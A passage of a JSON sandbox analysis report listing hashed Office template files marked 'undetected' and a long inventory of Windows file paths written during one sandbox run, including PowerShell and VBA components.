"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OrielReport.Dotx","sha256":"b1e58523c582c37bf965d8f4260d50720494f43ab94eb5cb6f5bc05cfa5690ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ApothecaryNewsletter.dotx","sha256":"569977c3ffb1d7dafd364e911b069b31f025d1573b4ad8a2088f6ed4f131cc95","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ExpenseReport.xltx","sha256":"cf7bfe538fe55783fb6bc4c1cb9f0bea527f56d672725ecf7197d1e311cc9da2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ExecutiveMergeLetter.dotx","sha256":"579ee3eb4e9dcbcda6f87da26ea64eff7875271f77da0833c5ffe6452844f0e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"LoanAmortization.xltx","sha256":"3e9a4ba6554522d72a444b3c148f194f458fe1ff9775d7a32de32f79a2604186","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EquityReport.Dotx","sha256":"c8a877e8dd9580541aad890409311467a2c627b102a8c335b3b3446c4ec0ba4a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"WidescreenPresentation.potx","sha256":"92a05296da4be395322d42287bf2edab7f8109d5b8a2d7d5b5f13baac79ab2f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EssentialResume.dotx","sha256":"b1f3588429e145425d41548629f90ec99583ae93c7da4bbe2c2ff3e2cca5e867","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OrielResume.Dotx","sha256":"69c8ca05dd800941743f6b871af733df5a2b815ea2eb4f060f5a0ac1c2e3d8fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TimeCard.xltx","sha256":"6a99d6544825d592c3cccf013a45747a91b12c1ddd75a5dce4fbd3dd30a314aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EquityLetter.Dotx","sha256":"81906265fb24f4fe827ffa19da8d286ca056ad9ed2523393a937bf146651802c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EquityResume.Dotx","sha256":"aeac4156b5a9429400b05a6083ff05bb5a85318cfb2db0b3acb35b47fc68fcdc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MedianReport.Dotx","sha256":"0aa67af4d89df99bd8285bdc1962d8fb41fb559ec2c6adae6f9e8c724ca9c483","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ApothecaryLetter.dotx","sha256":"c500a755a9b6d97285105b8bb56824d51c9a29eb055ffc9b303465dce3651b77","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AdjacencyResume.dotx","sha256":"66d50d36843e6f845560a85d3842f14dfb7387233743371cadd972c48fcd845c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OriginFax.Dotx","sha256":"732601c825d8eeedf0a9655935da60ed82ee3214d6161d85750aabc30c15df10","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OriginResume.Dotx","sha256":"0f6bb33b8499aec9b4287117ae9e4f2b6f11ffc8fe97f35d7da1e32a288c5525","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EssentialMergeLetter.dotx","sha256":"e02f67eb89a6118b9c64d5745bc4b953576ae579dd7ed0c3ddb196f54fc1a939","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OriginLetter.Dotx","sha256":"da1b3a994344f26027c1de9b2619858cc3a44dc83f95d708f37a3380fe6c7d7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MedianResume.Dotx","sha256":"3adb9e254f7db0a6be9832865f1bb9eb940e36a09ba53e7d7fd03a6953c4d955","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Pitchbook.potx","sha256":"cafcc74fbbdfbf4f6cb75d696f40f5f11537c3c63b7403663b1bbfb35a5eb6c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PersonalMonthlyBudget.xltx","sha256":"8bce4884a0bff1ee647aabb334346e264fe49decdc2f02e9c7aa6c7fa32722cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EssentialLetter.dotx","sha256":"7d6667bcb9a824bb739dc5dbe2ca7196c182f0906bc03ce812a9aae792ac6e84","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OrielMergeLetter.Dotx","sha256":"0c2121fb8e9793023201fabf2cce9e159240a26ca00ba3a811e91805740cae2b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MedianMergeLetter.Dotx","sha256":"3d185e38bbbe891eb9f29e5e937eabde9acfb20d0024383367d29224c0f723ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OriginMergeFax.Dotx","sha256":"e874b689e298877c4bb04a8e69fcb71042f77830c2d8559c3b9a0de1120cf809","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EquityMergeFax.Dotx","sha256":"0edda7b2585f24d45c45d0b4b8cba27bc31cd44305d457acceb81b16b5705048","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SalesReport.xltx","sha256":"3e3ec349e86acf457c06be3fb3a6f40c1784f90ac75ce1774dce34dc4679d7b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"UrbanMergeLetter.Dotx","sha256":"5b843fb66efefd10b41e69d735457109fc28270b93ae49d942c8e0be987ab736","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AdjacencyReport.dotx","sha256":"ac07afbdf891b263a78bb402cd677d0f2d03ce5459a7d420f70e96987c71df17","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ProjectStatusReport.potx","sha256":"88b17fba6c0d94c2d200ca20f73c9156246158a17eb056a740c436e3dd366b5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"UrbanLetter.Dotx","sha256":"9f0768b88ec86de5c487718cef07d658b6b1c0b5114200dc6238955cc98c5abd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}],"files_written":[{"path":"%TEMP%\\CVR5F5B.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{E441943B-FAC8-448A-B90B-DDC9ADFBD92E}.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\~DFED2CEB461D5C30C7.TMP","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{CECE3263-B895-4638-BFC7-C40E7C595A11}.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Resume","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Resume.LNK","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{F56D9D48-9F15-4197-BABF-4988A17C4C86}.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\VBE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\SBN4OG9ZM5KAH0ME1C38.temp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23c.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\BVTBin\\Tests\\installpackage\\csilogfile.log","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Microsoft.Office.Interop.Word.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\Cab7417.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\Tar7418.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Microsoft.Vbe.Interop.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC\\stdole\\7.0.3300.0__b03f5f7f11d50a3a\\stdole.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\CVR899B.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id"